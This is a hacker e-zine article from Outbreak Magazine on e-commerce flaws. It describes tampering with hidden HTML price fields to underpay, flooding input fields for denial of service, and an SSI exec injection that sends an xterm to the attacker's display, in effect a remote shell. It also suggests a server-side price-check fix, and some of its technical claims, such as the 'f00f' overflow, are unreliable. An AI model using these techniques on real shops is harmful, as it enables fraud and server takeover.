                              
                                                     
                                                       
               ۰߰     ܰ۰  
             ۱      ܱ߰    ۰
             ۱          ۱      ۰  
                 ܰ߱    ߰۲    
              Outbreak Magazine Issue #14 - Article 4 of 15
          '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'


E-Commerce Pitfalls

By: Bland Inquisitor

bland_inquisitor@hotmail.com

With the proliferation of simple and cheap e-commerce packages, every "mom 
and pop" operation can afford to put a shopping system on their site.  This, 
like everything else tech-related, is a great thing if implemented properly.  
The sad reality of the situation is that many implementations just run the 
shopping cart wizard and figure their site must be secure. There was an 
article in the 3q02 issue of 2600 that hinted on this weakness, but I feel 
the subject was not explored fully.  In this article I will enumerate three 
of the most common errors of e-commerce web sites.  The first is what is 
coming to be known as "cyber-shoplifting."  The second security hole is also 
a by-product of hidden tag use, which in this example, can be used to either 
gain control of, or shut down a system.  The final type of weakness involves 
the use of Server-Side Includes.

This article is for informational purposes only!!  If you find a site that 
has poor implementation and exploit the weakness rather than help the 
webmaster fix it, its your karma not mine.

The first thing to remember when setting up a web page is that everyone that 
views your page caches it to their hard drive; also remember that most 
browsers provide the option to save your web pages to a specific part of 
their hard drive.  If someone is allowed to edit your page code, they can 
then execute the modified page as if it were yours.

The use of hidden HTML tags in your page code is the prime example of a 
vulnerability that can be exploited locally on an attackers computer.  As 
an example, we will say that www.stankdawg.com is selling pre-made computers 
for $500.00, and is using a hidden tag to store the price.  The code would 
look like the following.

<FORM>
<FORM ACTION=http://commerce.stankdawg.com/cgi-bin/shopper.pl method="post">
<input type=hidden name="price" value="500.00">
<input type=hidden name="product" value="computer">
QUANTITY:  <input type=text name="q" size=6 maxlength=6 value=3>
</FORM>

So someone decides that StankDawg is charging way too much for his boxen, and 
that it is time for a first quarter sale.  Using any HTML editor, notepad 
included, the person could change the copy of the page he cached locally to 
reflect what he feels is a fair price.

<input type=hidden name="price" value="5.00">

The attacker then just enters the quantity of $5.00 computers he wants and 
hits submit.

If you think that this problem isnt all that widespread, just go to google 
and run a search for "type=hidden name=price," and you will see the almost 
2000 people who havent got the message.  The fixes for this type of problem 
should be obvious.  Either use a different method of storing price values, 
or have the people who fill the order check to make sure that there is 
nothing fishy going on.  The best way to do this is to use some other form 
of price checking in tandem with your current set up to match the final 
submitted price to a database.  If the price that is sent from the user 
doesnt match the price in the database, the function will return an error 
message and not process the order.  This, however, is not the only danger of 
conducting business on the internet.

Another type of user-side vulnerability is field width.  Sites that specify 
the size or maxlength of a field in the code are susceptible to our old 
friend buffer overflow. Suppose that someone would rather provide the 
StankDawg commerce team with a little down time to re-examine their page 
code.  Lets look at the HTML example above.

QUANTITY:  <input type=text name="q" size=6 maxlength=6 value=3>

With a little quick finger work, we can get the following:

QUANTITY:  <input type=text name="q" size=1,000,000,000 
maxlength=1,000,000,000
value=1,000,000,000>

After this, they could then copy-paste their Guttenberg text of Dostoyevskys 
"Crime and Punishment" followed by 0xf00fc7c8.  Yup, thats what denial of 
service looks like. Actually, a billion characters will shut down anything no 
f00f needed, so all the attacker has to do is hit paste a few more times.

The third major security problem I will discuss is not, technically speaking, 
centered on the use of hidden tags, but this vulnerability also serves to 
illustrate the importance of using some behind the scenes checks and balances 
to ensure the stability of your site.

Server side includes are great for web developers who want to perform simple 
tasks without having to program them from scratch.  A number of SSI scripts 
are available, but the ones an attacker is most likely to use would be email, 
exec, and include.

The main premise of the attack is to submit SSI code into a data field on the 
page that will be read by the server as HTML code.  This would allow an 
attacker to gain control of the system by having the system execute something 
like the following:

This is an SSI tag that will send an xterm to the person who enters it into 
a susceptible field.

<--#exec cmd="/usr/root/bin/xterm "display IP here:0 &"-->

The implications here should be pretty obvious.  Do a little experimenting 
to figure out case-specific holes in your own web applications.

Here I have examined a few of the most common flaws in todays web 
implementations, and have provided ways to keep your site up and running the 
way you intended it to.  I hope I have convinced you to take action before 
someone else does.

Thanks to StankDawg, dual_parallel, foundstone security, and everybody at
www.stankdawg.com and www.oldskoolphreak.com.
